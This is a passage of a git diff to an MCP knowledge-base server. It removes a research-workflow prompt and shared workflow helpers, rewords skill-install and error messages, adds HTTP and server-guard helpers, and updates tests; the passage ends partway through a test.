-Let the user choose. Do NOT start new research when existing research already answers the question.
-
-**Partially covered:**
-
-> "We have related research in \`<path>\` covering [scope]. Your question about [topic] isn't directly answered but it's a natural extension. Options: (1) extend existing via Path C, (2) start new article via Path A. I'd recommend [1 or 2] because [reason]."
-
-**Not covered:**
-
-Proceed to Step 2 (scoping). If the user asked for a quick answer, flag that Path B may apply and confirm in Step 2's scoping exchange.
-
-**Headless mode:** auto-select — fully-covered → proceed to new article on the specific angle the caller requested; partially-covered → start new article; not-covered → Path A.
-
-### Scan discipline
-
-- **Do not skip the scan.** Even 30 seconds of grep + cat prevents duplicate research AND gives the user context on what's already known.
-- **Bias toward extending (Path C)** when topics are semantically coherent — one comprehensive article beats two overlapping ones.
-- **Bias toward new (Path A)** when framing, audience, or primary question differs materially.
-
----
-
-## Step 2: Collaborative scoping (Supervised STOP gate)
-
-⛔ **HARD GATE (Supervised mode).** Do NOT start external research until the user confirms the rubric. After proposing it, **STOP and WAIT for user response.** Only then mark the Scoping task completed.
-
-**In headless mode:** propose the rubric AND proceed. Mark the task completed after proposing.
-
-### Propose a rubric
-
-Return this structure to the user:
-
-\`\`\`
-## Proposed research rubric
-
-**Question:** [narrowed from the original topic — concrete, answerable, bounded]
-
-**Dimensions to investigate:** [3–7 facets]
-1. [Dimension 1]
-2. [Dimension 2]
-...
-
-**Candidate sources:** [3–8 initial guesses]
-- [Source 1 — why it's relevant]
-- [Source 2 — why it's relevant]
-...
-
-**Success criteria:** [2–3 concrete outcomes — "the article cites X authoritative sources", "open questions are marked explicitly", etc.]
-
-**Output format:** Path A (article) | Path B (direct answer) | Path C (update \`<existing-article>\`)
-\`\`\`
-
-### Scoping discipline
-
-- If the original topic is vague ("research LLM agents"), narrow it before fetching: "What specific agents? For what decision? Over what time horizon?"
-- If the topic is itself a URL, treat that URL as the anchor and widen to 2–4 adjacent authoritative sources.
-- Name the **decision** this research informs. Research without a decision context meanders.
-- Do not over-specify the rubric — the user can adjust. Propose, don't prescribe.
-
----
-
-## Step 3: Capture raw sources via \`ingest\`
-
-For each relevant URL, paper, or document in the confirmed rubric, invoke the \`ingest\` tool. **Typical research pulls 3–8 sources.** Too few → thin synthesis. Too many → you'll be reading for the rest of the session.
-
-- **Don't skip \`ingest\`.** Raw preservation separates capture from interpretation and makes research reproducible. An article without preserved sources is just opinion; an article with preserved sources is a trail someone else can follow.
-- If a fetch fails for a source you specifically need, **stop and ask the user to paste it** — don't silently drop it. Write-time fabrication of missing evidence is the biggest failure mode.
-- If \`ingest\` returns an obvious *summary* instead of the raw bytes (some LLM-backed fetch tools do this), note it and try a raw alternative (\`curl -sL <url>\`, or ask the user to paste).
-
----
-
-## Step 4: Read + analyze
-
-Read each ingested source carefully. Also load:
-
-- **Existing canonical articles** on the topic — \`exec("cat <path>")\` (returns frontmatter + backlinks + shadow-repo activity).
-- **Prior research** on adjacent topics — same: \`exec("cat <path>")\` for OpenKnowledge markdown.
-- **Relevant source code** — ONLY if the user asked for 1P analysis. Use native \`Read\` for \`.ts\` / \`.js\` / etc.; \`exec\` for in-scope \`.md\` / \`.mdx\`.
-- **Project context** — \`specs/\`, \`reports/\`, or wherever the project keeps design material.
-
-Take structured notes:
-
-- **Key claims** and their evidence — every claim needs a source you can point at
-- **Trade-offs** between options
-- **Contradictions** between sources — these are often the most valuable part of the article
-- **Unknowns** and open questions — the boundary of what you know
-- **Relevance** to the specific decision at hand
-
-**Write these notes into the article as you take them, not after (MUST — see *Persist as you go* above).** Create the article skeleton — frontmatter + the Step 5 section headings — before you start reading, then \`edit\` each source's findings into the relevant section the moment you finish analyzing it. The "notes" ARE the article's Findings section in progress; don't hold them in context to transcribe in one pass at Step 5. A rate limit between here and Step 5 must not be able to discard analysis you've already done. By the time you reach Step 5 the article is mostly written, and Step 5 becomes finalize-and-polish.
-
-### Grounding discipline
-
-Every factual claim in the article must cite its source inline. No unsourced speculation. If you don't have evidence: (a) run another search and cite it, (b) mark inline \`(TODO: needs source)\`, or (c) don't write the claim. Never fabricate.
-
----
-
-## Step 5: Write the research article (Path A only)
-
-If you followed *Persist as you go*, the article already exists and is substantially filled from Step 4 — this step **finalizes** it (fill any remaining sections, tighten the recommendation, run the structure + validation checks below) rather than writing from a blank doc. **If it does not exist or is thin, and you are resuming after an interruption: \`exec("cat <path>")\` the partial article back first and fill only the missing sections** — and note that any Step 4 analysis that was never written to the KB was lost when the session broke, so re-derive only what's actually missing. Creating the doc from scratch here means the incremental rule was skipped; that's the failure mode, not the happy path.
-
-Save a markdown document inside the content directory. Path convention:
-
-- If the project adopted the three-tier lifecycle (external-sources → research → articles), save under \`<content-dir>/research/<slug>.md\`.
-- If the project has an existing docs/reports/specs layout, match it.
-- Large topics warrant a subfolder: \`research/<topic>/<subtopic>.md\`.
-
-Filename: descriptive, kebab-case (\`crdt-alternatives-for-editor.md\`, \`llm-wikis-karpathy-pattern.md\`). No dates — dates go in frontmatter.
-
-### Frontmatter
-
-\`\`\`yaml
----
-title: Descriptive title
-description: One-line summary of the research question
-status: provisional
-date: YYYY-MM-DD
-tags:
- - research
- - <topic-tag>
-sources:
- - <path-to-ingested-source-1>.md
- - <path-to-ingested-source-2>.md
----
-\`\`\`
-
-### Structure
-
-\`\`\`markdown
-## Question
-
-[What specific question does this research answer? Be precise.]
-
-## Context
-
-[Why does this matter? What decision does it inform? Who is the reader?]
-
-## Findings
-
-[Main findings organized by theme, option, or criterion. Every claim cites a source inline.]
-
-### Theme / Option 1
-
-- Pros — with evidence links
-- Cons — with evidence links
-- Evidence: [Source A](./external-sources/source-a.md), [Source B](./external-sources/source-b.md)
-
-### Theme / Option 2
-
-...
-
-## Trade-offs
-
-[What you gain vs. lose with each option. A comparison table often helps.]
-
-## Open questions
-
-[What you still don't know — candidates for further research, prototyping, or human-judgment decisions.]
-
-## Tentative recommendation
-
-[Your best guess, clearly marked as tentative. Explain the reasoning so a future reader can re-evaluate when new information arrives.]
-
-## Further reading
-
-[Links to the ingested sources + adjacent research + any canonical articles on the topic.]
-\`\`\`
-
-### Voice
-
-- **Provisional, not canonical.** Use "tentative", "initial findings", "based on current understanding."
-- **Do NOT write as if it were canonical** — that's misleading. Canonicality is \`consolidate\`'s job, after decisions land.
-- **Explicit about uncertainty.** Research is the layer where uncertainty is allowed to live.
-
----
-
-## Step 6: Link aggressively + file valuable Q&A back
-
-Research articles are discovery surfaces. Under-linked research becomes an island nobody finds.
-
-### Link discipline
-
-- Every noun-phrase that names another document is a link. Use standard markdown: \`[text](./relative/path.md)\`. (Wiki-link syntax \`[[Page]]\` is still parsed for legacy content but no longer the default; matches the OK skill guidance.)
-- Link sources inline where you cite them, not just in the frontmatter \`sources:\` list: "According to [LLM Agents (Dust)](./external-sources/llm-agents-dust.md)..." is stronger than a bare \`sources:\` entry.
-- Cross-link sibling research: if an adjacent topic has its own research doc, link it under "Open questions" or inline. Readers following one thread should find the others.
-- After writing, update 1–2 closely-related existing pages to link back to this research (usually under "Further reading" or "See also"). This is how the research becomes discoverable via backlinks.
-- Never wrap links in backticks; never use HTML anchors — matches the OK skill's linking rules.
-
-### File valuable Q&A back (Karpathy's "query" step)
-
-If the user asked a specific question during the research session that produced a citable answer, capture it as its own short page alongside the research — not just as chat. Concrete questions with sourced answers are the highest-signal unit of knowledge you can produce.
-
-Karpathy: *"Search wiki pages, synthesize answers with citations, file valuable outputs back as new pages."*
-
-- Short filename: \`what-does-X-mean.md\`, \`how-does-Y-work.md\`
-- Include the same \`sources:\` frontmatter
-- Link the answer from this research doc under "Further reading"
-- Answers too small to justify a separate file stay in chat; don't fragment
-
----
-
-## Step 7: Validate
-
-Run this checklist before marking complete:
-
-- [ ] File exists at the chosen path under the content directory
-- [ ] Frontmatter has \`title\`, \`description\`, \`status: provisional\`, \`date\`, and a \`sources:\` list
-- [ ] \`exec("ls <dir>")\` lists the new file with frontmatter enrichment
-- [ ] \`links({ kind: 'dead', sourceDocNames: ['<path-without-ext>'] })\` returns clean — zero dead links (fix or remove every one)
-- [ ] Every factual claim in Findings cites a source inline
-- [ ] Linked source files from Step 3 all exist (broken source links → \`ingest\` went wrong somewhere)
-- [ ] At least 1–2 neighbor docs now link to this research (per Step 6's "After writing, update ..." rule)
-
----
-
-## Step 8: Recap + follow-up directions
-
-Close the loop with the user in conversation:
-
-\`\`\`
-## Recap
-
-- [Finding 1 — with source]
-- [Finding 2 — with source]
-- [Key trade-off / contradiction surfaced]
-- [1–2 open questions that remain]
-
-**Tentative recommendation:** [state it in one sentence]
-
-**Follow-up research directions** (Path A candidates for later):
-1. [Direction 1 — what would it investigate?]
-2. [Direction 2 — what would it investigate?]
-3. [Direction 3 — what would it investigate?]
-\`\`\`
-
-Follow-ups should be **external-source investigations** — not actions on the user's codebase (those belong in a spec, not more research). Each direction should be a standalone topic someone could later invoke \`research\` on.
-
-In headless mode, write the recap into the research article's "Further reading" section rather than prompting interactively.
-
----
-
-## Non-goals
-
-- **Don't promote to a canonical article.** That's \`consolidate\`'s job after a decision actually lands. Premature canonicalization buries uncertainty and misleads future readers.
-- **Don't hide uncertainty.** Research is the layer where "we don't know yet" is acceptable prose. Say it explicitly.
-- **Don't skip \`ingest\`.** Always capture raw sources first, then analyze. An article without preserved sources is opinion.
-- **Don't skip Step 1 scan.** Duplicate research wastes the user's time AND misses chances to extend prior work.
-- **Don't skip the scoping gate in Supervised mode.** The user's rubric shapes everything downstream; you cannot recover a wrong-scope article cheaply.
-- **Don't mix 1P codebase analysis into the article unless asked.** Findings drift from factual synthesis to opinion when you do.
-- **Don't overwrite existing research silently.** If the topic was researched before, either iterate (Path C) or create a clearly-named successor (\`crdt-alternatives-2.md\`) and mark the old one as superseded.
-`;
-}
diff --git a/packages/server/src/mcp/tools/restore-version.ts b/packages/server/src/mcp/tools/restore-version.ts
index b2216447a..af0238889 100644
--- a/packages/server/src/mcp/tools/restore-version.ts
+++ b/packages/server/src/mcp/tools/restore-version.ts
@@ -38,7 +38,7 @@ export const DESCRIPTION = [
'',
'**Parameters:**',
'- `document` — The document to restore (path, no extension; trailing `.md`/`.mdx` is stripped). Append-only via the CRDT layer; all connected editors see the change live.',
- '- `skill` — The skill NAME to restore (PROJECT-scope skills only — global skills are unversioned). Rewrites `.ok/skills/<name>/` to the target version (fs-direct). Run `install` afterward to push it to your editors.',
+ '- `skill` — The skill NAME to restore (PROJECT-scope skills only — global skills are unversioned). Rewrites the skill folder to the target version (fs-direct); every recorded copy re-syncs from it, so there is nothing to re-install.',
'- `version` — The 40-character commit SHA to restore to. Copy it from the `history` tool (same field name there).',
'- `summary` — Optional one-line summary (≤80 chars). Avoid secrets or PII — persisted to git history.',
'',
@@ -65,9 +65,7 @@ export function register(server: ServerInstance, deps: RestoreVersionDeps): void
skill: z
.string()
.optional()
- .describe(
- 'Skill name to restore (`.ok/skills/<name>/`). Mutually exclusive with `document`.',
- ),
+ .describe('Skill name to restore. Mutually exclusive with `document`.'),
version: versionInputSchema.describe(
"The 40-character commit SHA to restore to — copy it straight from a `history` entry's `version` field (same name there).",
),
diff --git a/packages/server/src/mcp/tools/search.ts b/packages/server/src/mcp/tools/search.ts
index 5c8d2c97b..734696f09 100644
--- a/packages/server/src/mcp/tools/search.ts
+++ b/packages/server/src/mcp/tools/search.ts
@@ -36,7 +36,7 @@ export const DESCRIPTION = [
'',
'When semantic search is enabled for the workspace (an opt-in setting with an API key), an embeddings signal is additionally fused into `full_text` ranking, surfacing conceptually-related pages that share no keywords. This tool opts in by default; the `semantic` block in the response reports coverage. Note: with semantic enabled, the query and matching page content are sent to the configured embeddings provider (content egress). Set `semantic: false` to force pure-lexical ranking for a call.',
'',
- 'Returns scored `page`, `folder`, and name-only `file` hits, each with a `signals` breakdown (lexical / fullText / recency / vector); markdown `page` hits also carry a body snippet (`file` hits never do — name-only). `exec`-grep covers every content occurrence and needs no server.',
+ 'Returns scored `page`, `folder`, and name-only `file` hits, each with a `signals` breakdown (lexical / fullText / recency / vector); markdown `page` hits also carry a body snippet (`file` hits never do — name-only).',
'',
'Cold start: right after the server boots, the response may carry `ready: false` with an empty `results` while the index is still building. That empty set is NOT authoritative — wait ~2-3 seconds, then retry (agents have no built-in delay, so do not retry in immediate succession). If it is still `ready: false` after 2-3 retries (e.g. a very large workspace), fall back to `exec("grep ...")` rather than polling further. Once `ready` is true/omitted the results are complete.',
'',
diff --git a/packages/server/src/mcp/tools/shared.test.ts b/packages/server/src/mcp/tools/shared.test.ts
index 9e948e081..8785c7ccd 100644
--- a/packages/server/src/mcp/tools/shared.test.ts
+++ b/packages/server/src/mcp/tools/shared.test.ts
@@ -266,9 +266,16 @@ describe('normalizeDocName', () => {
});
describe('HOCUSPOCUS_NOT_RUNNING_ERROR', () => {
- test('contains actionable guidance', () => {
+ test('names the recovery command', () => {
expect(HOCUSPOCUS_NOT_RUNNING_ERROR).toContain('ok start');
- expect(HOCUSPOCUS_NOT_RUNNING_ERROR).toContain('native Edit tool');
+ });
+
+ test('does not offer a native-edit escape hatch', () => {
+ // This string is a live runtime error an agent reads mid-task. Telling it to
+ // fall back to native edits trains exactly the unattributed disk write the
+ // project skill forbids, so the escape hatch must stay gone.
+ expect(HOCUSPOCUS_NOT_RUNNING_ERROR).toContain('Do not fall back to native file edits');
+ expect(HOCUSPOCUS_NOT_RUNNING_ERROR).toContain('route writes through OpenKnowledge');
});
});
diff --git a/packages/server/src/mcp/tools/shared.ts b/packages/server/src/mcp/tools/shared.ts
index 730b8b179..6447ef913 100644
--- a/packages/server/src/mcp/tools/shared.ts
+++ b/packages/server/src/mcp/tools/shared.ts
@@ -215,6 +215,20 @@ export function nestDocResult(
return structured;
}
+/**
+ * `Error: <title> (<detail>)` for a failed `httpPost`/`httpGet` result.
+ *
+ * The server routinely puts the actionable sentence in RFC 9457 `detail` and
+ * only the class of failure in `title` — "Skill not found." vs. 'Skill "x" not
+ * found in project scope — create it with write({ skill }) first.' A tool that
+ * prints `result.error` alone hands the agent the diagnosis without the remedy.
+ */
+export function errorTextWithDetail(result: { [key: string]: unknown }): string {
+ const detail = typeof result.detail === 'string' ? ` (${result.detail})` : '';
+ const title = typeof result.error === 'string' ? result.error : 'request failed';
+ return `Error: ${title}${detail}`;
+}
+
/**
* Wrap a single string into the content shape MCP tools require for text results.
* Pass `isError: true` to signal a tool-level error to the caller.
@@ -290,9 +304,7 @@ export function outputSchemaWithText<S extends z.ZodRawShape>(
* and the visible body silently vanishes
* ([anthropics/claude-code#55677](https://github.com/anthropics/claude-code/issues/55677)).
* Without a structured mirror of the body, `exec` arrives at the
- * model as `{previewUrl: null}` (file contents dropped),
- * the `workflow` tool (any `kind`: ingest/research/consolidate/discover)
- * arrives as `{previewUrl: null}` (the workflow prompt dropped), etc.
+ * model as `{previewUrl: null}` (file contents dropped), etc.
*
* Mitigation: every result built by this helper carries the same visible body
* under `structuredContent.text`. The key MUST NOT carry a leading underscore
@@ -328,140 +340,7 @@ export function textPlusStructured<T>(text: string, structured: T, isError?: boo
/** Error message for tools that require Hocuspocus to be running. */
export const HOCUSPOCUS_NOT_RUNNING_ERROR =
- 'Error: Hocuspocus server is not running. Start it with `ok start`, then retry.\nFor disk-only writes without real-time sync, use your native Edit tool directly.';
-
-// ─── Karpathy three-layer wiki frame (shared by the three Karpathy-layer tools) ───
-//
-// The three Karpathy-layer workflow tools — `ingest`, `research`, `consolidate`
-// — accrete a persistent knowledge base over time, following the pattern
-// described in Karpathy's "LLM Wiki: Personal Knowledge Bases" gist:
-//
-// https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f
-//
-// A fourth instructional workflow tool — `discover` — sits alongside these
-// at the project-metadata layer (brownfield onboarding) but does NOT use
-// this Karpathy frame. `discover` ships its own self-contained body via
-// `discover-body.ts` and does not use `buildWorkflowHandler` below.
-//
-// Project-level scaffolding for fresh repos lives OUTSIDE this MCP surface
-// — users run `ok seed` once from a terminal to populate the
-// `external-sources/`, `research/`, `articles/` layout plus matching
-// per-folder `.ok/` frontmatter + templates.
-//
-// Each Karpathy-layer tool body prepends a common "Where this fits" section
-// so the agent orients on the layer + sibling tools + typical flow before
-// diving into step-by-step instructions. One definition, three consumers.
-
-type WorkflowRole = 'ingest' | 'research' | 'consolidate';
-
-const ROLE_LABEL: Record<WorkflowRole, string> = {
- ingest: 'raw-sources layer (preserve external material, no analysis)',
- research: 'wiki layer, provisional (synthesize findings that can still change)',
- consolidate: 'wiki layer, canonical (promote stabilized research to source-of-truth)',
-};
-
-const ROLE_BEFORE: Record<WorkflowRole, string> = {
- ingest: 'user shares a URL or file they want preserved, or `research` needs raw sources',
- research: '`ingest` has captured the relevant sources (or the user points at one)',
- consolidate:
- '`research` has produced a provisional article AND a decision has actually been made',
-};
-
-const ROLE_AFTER: Record<WorkflowRole, string> = {
- ingest:
- 'often `research` on the same topic — or just stop; raw preservation is frequently enough on its own',
- research:
- 'usually stop (research lives as provisional indefinitely) or `consolidate` once a decision lands',
- consolidate:
- 'update 2–3 neighbor docs to link the new canonical article; research articles it supersedes gain a `superseded_by` pointer',
-};
-
-/**
- * Prepend a "Where this fits" orientation block to a workflow tool body.
- * Names Karpathy's three-layer pattern, the tool's role, and the typical
- * Before/After flow. Keep this short — the bulk of instructional depth lives
- * in each tool's own step-by-step body that follows.
- *
- * Internal helper for `buildWorkflowHandler` below; tool files don't import
- * it directly any more.
- */
-function buildWorkflowFrame(role: WorkflowRole): string {
- return `## Where this fits
-
-OpenKnowledge accretes a persistent wiki through three workflow tools, mapped to [Karpathy's three-layer knowledge-base pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f):
-
-- **Raw sources** (immutable) — \`ingest\`
-- **Wiki, provisional** — \`research\`
-- **Wiki, canonical** — \`consolidate\`
-
-(Project-level folder structure: \`ok seed\` for fresh repos with the Karpathy three-layer; \`workflow({ kind: "discover" })\` for existing-content repos that need conventions extracted from siblings. Neither is required — these three tools work against any folder structure the project already uses.)
-
-**This tool operates in the ${ROLE_LABEL[role]}.**
-
-- **Before this:** ${ROLE_BEFORE[role]}
-- **After this:** ${ROLE_AFTER[role]}
-
-Karpathy's insight: "The tedious part of maintaining a knowledge base is not the reading or the thinking — it's the bookkeeping." Humans abandon wikis because maintenance costs exceed perceived value. These tools exist so an agent can do the bookkeeping (fetching, summarizing, cross-linking, superseding) without fatigue. Follow the steps below faithfully — skipping the cross-linking, supersedes chains, or raw-source preservation is what turns a useful wiki back into an abandoned one.
-
-`;
-}
-
-/**
- * Dependency shape shared by the three Karpathy-layer workflow tools
- * (`ingest`, `research`, `consolidate`). Each needs the same two resolvers
- * (config + cwd) so they collapse into one named contract.
- *
- * `discover` is a fourth instructional workflow tool but operates at the
- * project-metadata layer rather than the Karpathy three-layer, so it does
- * NOT use this dependency shape or `buildWorkflowHandler` below — it
- * defines its own `DiscoverDeps` interface and uses `registerTool` directly
- * (matching the convention of `registerTool`-based config tools like
- * `config`).
- */
-export interface WorkflowToolDeps {
- config: ConfigOrResolver;
- resolveCwd: (explicit?: string) => Promise<string>;
-}
-
-/**
- * Build the async callback shared by the three Karpathy-layer workflow tools
- * — `ingest` / `research` / `consolidate`. Not used by `discover`, which
- * ships its own handler (it lives at the project-metadata layer and does NOT
- * prepend the Karpathy frame).
- *
- * Hoists the four behaviors that were copy-pasted across the three workflow
- * tool files:
- *
- * 1. resolve the project's config + cwd context (consistent error path)
- * 2. read the primary arg by name out of the validated zod input
- * 3. prepend `buildWorkflowFrame(role)` to the tool-specific body
- * 4. return `{ previewUrl: null }` in structuredContent — workflow tools
- * are primers keyed on a single argument; the target document path is
- * chosen by the agent during the prompt's later steps, so there is no
- * single canonical document to preview at call time, uniform with
- * `checkpoint`
- *
- * Each workflow tool registers with its own literal-typed zod input schema
- * so MCP's callback-arg inference stays precise — only the schema literal
- * (one tool-specific arg + optional `cwd`) and `DESCRIPTION` remain per-tool.
- * The schema's `cwd` field uses the shared `ROUTED_CWD_DESCRIPTION` string.
- */
-export function buildWorkflowHandler(
- role: WorkflowRole,
- deps: WorkflowToolDeps,
- argName: string,
- buildBody: (argValue: string, contentDir: string) => string,
-) {
- return async (args: Record<string, unknown>) => {
- const cwd = typeof args.cwd === 'string' ? args.cwd : undefined;
- const context = await resolveProjectConfigContext(deps.resolveCwd, deps.config, cwd);
- if (!context.ok) return textResult(`Error: ${context.error}`, true);
- const rawArg = args[argName];
- const argValue = typeof rawArg === 'string' ? rawArg : '';
- const body = `${buildWorkflowFrame(role)}${buildBody(argValue, context.config.content.dir)}`;
- return textPlusStructured(body, { previewUrl: null });
- };
-}
+ 'Error: Hocuspocus server is not running. Start it with `ok start`, then retry.\nDo not fall back to native file edits for in-scope markdown; route writes through OpenKnowledge so attribution and live sync stay intact.';
/**
* Either an eagerly-known server URL, an absent URL, or a lazy resolver that
@@ -536,6 +415,35 @@ export async function resolveProjectConfigContext(
* should call `resolveServerUrl` directly instead — this wrapper flattens the
* error to a string. Reference pattern: `get-preview-url.ts`.
*/
+/**
+ * `resolveProjectServerContext` plus the two guards every tool that talks to the
+ * server repeats verbatim: surface a resolution failure, then require a running
+ * server. Roughly twenty call sites carried the same three lines.
+ *
+ * On failure the caller returns `guard.result` unchanged, so the error text and
+ * the `isError` flag stay exactly what those call sites produced.
+ */
+export async function requireProjectServer(
+ resolveCwd: (explicit?: string) => Promise<string>,
+ config: ConfigOrResolver,
+ serverUrl: ServerUrlOrResolver,
+ explicitCwd?: string,
+): Promise<
+ | { ok: true; cwd: string; executionCwd: string; config: Config; url: string }
+ | { ok: false; result: ReturnType<typeof textResult> }
+> {
+ const context = await resolveProjectServerContext(resolveCwd, config, serverUrl, explicitCwd);
+ if (!context.ok) return { ok: false, result: textResult(`Error: ${context.error}`, true) };
+ if (!context.url) return { ok: false, result: textResult(HOCUSPOCUS_NOT_RUNNING_ERROR, true) };
+ return {
+ ok: true,
+ cwd: context.cwd,
+ executionCwd: context.executionCwd,
+ config: context.config,
+ url: context.url,
+ };
+}
+
export async function resolveProjectServerContext(
resolveCwd: (explicit?: string) => Promise<string>,
config: ConfigOrResolver,
@@ -596,7 +504,7 @@ export function okReservedPathRedirect(path: string): string | null {
const p = path.replace(/^\/+/, '');
if (p !== '.ok' && !p.startsWith('.ok/')) return null;
if (p.startsWith('.ok/skills/')) {
- return 'Skills are authored with the `skill` target, not a raw document path: `write({ skill: { name, description, body?, scope? } })` writes `.ok/skills/<name>/SKILL.md`. To author or improve a skill, use the `open-knowledge-write-skill` skill.';
+ return 'Skills are authored with the `skill` target, not a raw document path: `write({ skill: { name, description, body?, scope? } })` writes the SKILL.md wherever the skill lives (a NEW skill lands at the project default skill home, e.g. `.agents/skills/<name>/`). To author or improve a skill, use the `open-knowledge-write-skill` skill.';
}
if (p.startsWith('.ok/templates/')) {
return 'Templates are authored with the `template` target (`write({ template: { … } })`), not a raw document path.';
@@ -790,6 +698,31 @@ export async function httpGet(
return { ...normalizeResponse(res, body), httpStatus: res.status };
}
+/**
+ * `httpGet` + array-field unwrap. The read-only `skills` MCP paths all GET a
+ * `{ [field]: unknown[] }` body and want that field as a row array (`[]` when
+ * absent or non-array). Returns `{ error }` on a non-ok response so the caller
+ * keeps its own `textResult` early-return; otherwise `{ rows, data }`, where
+ * `data` is the ok-stripped body for callers that also read scalar fields
+ * (e.g. search's `backend` / `degraded`).
+ */
+export async function httpGetRows(
+ baseUrl: string,
+ path: string,
+ field: string,
+): Promise<
+ { error: string } | { rows: Array<Record<string, unknown>>; data: Record<string, unknown> }
+> {
+ const result = await httpGet(baseUrl, path);
+ if (!result.ok) {
+ return { error: typeof result.error === 'string' ? result.error : 'request failed' };
+ }
+ const { ok: _ok, ...data } = result;
+ const raw = (data as Record<string, unknown>)[field];
+ const rows = Array.isArray(raw) ? (raw as Array<Record<string, unknown>>) : [];
+ return { rows, data };
+}
+
/**
* Shared HTTP helper for mutating Hocuspocus API calls (POST / PUT / DELETE).
* Returns `{ ok: false, error }` on network failure or non-JSON response.
diff --git a/packages/server/src/mcp/tools/skill-target.test.ts b/packages/server/src/mcp/tools/skill-target.test.ts
index 932e1cd49..d99009806 100644
--- a/packages/server/src/mcp/tools/skill-target.test.ts
+++ b/packages/server/src/mcp/tools/skill-target.test.ts
@@ -150,7 +150,7 @@ describe('moveSkillCrossScope — write-dest-then-delete-source compose', () =>
return { ok: false, error: 'unexpected' };
};
- test('reads source, writes destination, THEN deletes source — and prompts re-install', async () => {
+ test('reads source, writes destination, THEN deletes source — and reports the re-projection', async () => {
const base = getSourceExistsDestAbsent('global');
const calls = mockFetch((method, path) => {
if (method === 'PUT') return { ok: true, created: true, path: 'trip-log/SKILL.md' };
@@ -170,7 +170,11 @@ describe('moveSkillCrossScope — write-dest-then-delete-source compose', () =>
expect(calls.findIndex((c) => c.method === 'PUT')).toBeLessThan(
calls.findIndex((c) => c.method === 'DELETE'),
);
- expect(text(r)).toContain('install');
+ // The move re-projects into the locations the skill already occupied, so the
+ // message must NOT send the agent to `install` — a bare install is a
+ // set-exact reconciliation, not the additive top-up that advice implied.
+ expect(text(r)).toContain('re-projected');
+ expect(text(r)).not.toContain('Run `install`');
expect(text(r)).toContain('Global');
});
diff --git a/packages/server/src/mcp/tools/skill-target.ts b/packages/server/src/mcp/tools/skill-target.ts
index 46fdcafbd..72a9db004 100644
--- a/packages/server/src/mcp/tools/skill-target.ts
+++ b/packages/server/src/mcp/tools/skill-target.ts
@@ -77,7 +77,10 @@ export async function writeSkill(
const path = typeof result.path === 'string' ? result.path : undefined;
const warnings = Array.isArray(result.warnings) ? (result.warnings as string[]) : [];
const lines = [
- `${created ? 'Created' : 'Updated'} skill "${input.name}"${path ? ` (${path})` : ''}. Run \`install\` to (re)project it into your editors.`,
+ // Name `add` explicitly. A bare `install` is a set-exact reconciliation
+ // against the project's detected editors, not the additive top-up this
+ // sentence is recommending.
+ `${created ? 'Created' : 'Updated'} skill "${input.name}"${path ? ` (${path})` : ''} — live for that folder's agent. Use \`install\` with \`add\` to put it in your other editors.`,
...warnings,
];
// Skill scope mirrors the server's PUT default (`project`) when omitted; the
@@ -166,7 +169,9 @@ export async function writeSkillFile(
const path = typeof result.path === 'string' ? result.path : input.path;
const kind = result.kind === 'script' ? 'script' : 'reference';
return textPlusStructured(
- `${created ? 'Created' : 'Updated'} skill ${kind} "${input.path}" in "${input.name}". Run \`install\` if not yet projected.`,
+ // No install nudge: the file lands in the skill's own bundle, and every
+ // recorded copy re-syncs from the source without being told to.
+ `${created ? 'Created' : 'Updated'} skill ${kind} "${input.path}" in "${input.name}".`,
{ skill: { ok: true, file: { path, kind, created } } },
);
}
@@ -281,7 +286,7 @@ export async function moveSkill(
return textPlusStructured(
`${committed ? 'Renamed' : 'Moved'} skill ${from} → ${to}.${
committed ? '' : ' (Untracked `.ok/` — moved on disk without git history.)'
- } Run \`install\` to re-project under the new name.`,
+ } Every location it occupied now holds the new name.`,
{ ok: true, kind: 'skill', committed },
);
}
@@ -296,7 +301,7 @@ export async function moveSkill(
* unversioned, and a project↔global move re-creates the skill fresh in its
* new scope — so a project→global move drops the timeline and a
* global→project move starts a new one. History-preserving cross-scope move
- * is Future Work. The moved skill lands as an un-projected Draft in its new
+ * is Future Work. The moved skill lands uninstalled-elsewhere in its new
* scope (same as the editor), so the result prompts the agent to re-`install`.
*/
export async function moveSkillCrossScope(
@@ -431,7 +436,7 @@ export async function moveSkillCrossScope(
? ` ${skippedBinary.length} binary/oversize bundle file(s) were NOT copied (outside the text-only bundle contract): ${skippedBinary.join(', ')}.`
: '';
return textPlusStructured(
- `Moved skill "${input.fromName}" (${fromLabel}) → "${input.toName}" (${toLabel}) with its references and scripts. History did not transfer — it lands as a fresh Draft in the ${toLabel} level. Run \`install\` to project it for the new level.${skippedNote}`,
+ `Moved skill "${input.fromName}" (${fromLabel}) → "${input.toName}" (${toLabel}) with its references and scripts, and re-projected into the locations it occupied. History did not transfer — it starts fresh at the ${toLabel} level.${skippedNote}`,
{
ok: true,
kind: 'skill',
diff --git a/packages/server/src/mcp/tools/skills.test.ts b/packages/server/src/mcp/tools/skills.test.ts
index 8f6a94ab9..cb71ffbe2 100644
--- a/packages/server/src/mcp/tools/skills.test.ts
+++ b/packages/server/src/mcp/tools/skills.test.ts
@@ -7,7 +7,7 @@
* round-trip (a project `.md` ref joining the link graph, a script round-trip
* read) lives in the integration suite.
*/
-import { describe, expect, test } from 'vitest';
+import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
import { type Config, ConfigSchema } from '../../config/schema.ts';
import { BUNDLE_SKILL_NAME } from '../../skill-bundles.ts';
import { HOCUSPOCUS_NOT_RUNNING_ERROR, type ServerInstance } from './shared.ts';
@@ -22,6 +22,16 @@ interface ToolResult {
}
type Handler = (args: Record<string, unknown>) => Promise<ToolResult>;
+let originalFetch: typeof fetch;
+
+beforeEach(() => {
+ originalFetch = globalThis.fetch;
+});
+
+afterEach(() => {
+ globalThis.fetch = originalFetch;
+});
+
function captureSkills(serverUrl: string | undefined): Handler {
let handler: Handler | undefined;
const server = {
@@ -76,6 +86,58 @@ describe('skills read tool — server-required', () => {
});
});
+describe('skills read tool — marketplace search overload', () => {
+ test('`query` cannot be combined with managed-skill selectors', async () => {
+ const handler = captureSkills(undefined);
+ const r = await handler({ query: 'review bot', name: 'trip-log' });
+ expect(r.isError).toBe(true);
+ expect(text(r)).toContain('do not combine');
+ });
+
+ test('`query` calls skills search and returns import-ready marketplace rows', async () => {
+ const calls: string[] = [];
+ globalThis.fetch = vi.fn(async (url: string | URL | Request) => {
+ calls.push(String(url));
+ return new Response(
+ JSON.stringify({
+ ok: true,
+ results: [
+ {
+ name: 'review-bot',
+ source: 'acme/skills',
+ description: 'Review pull requests',
+ installs: 42,
+ publisher: 'acme',
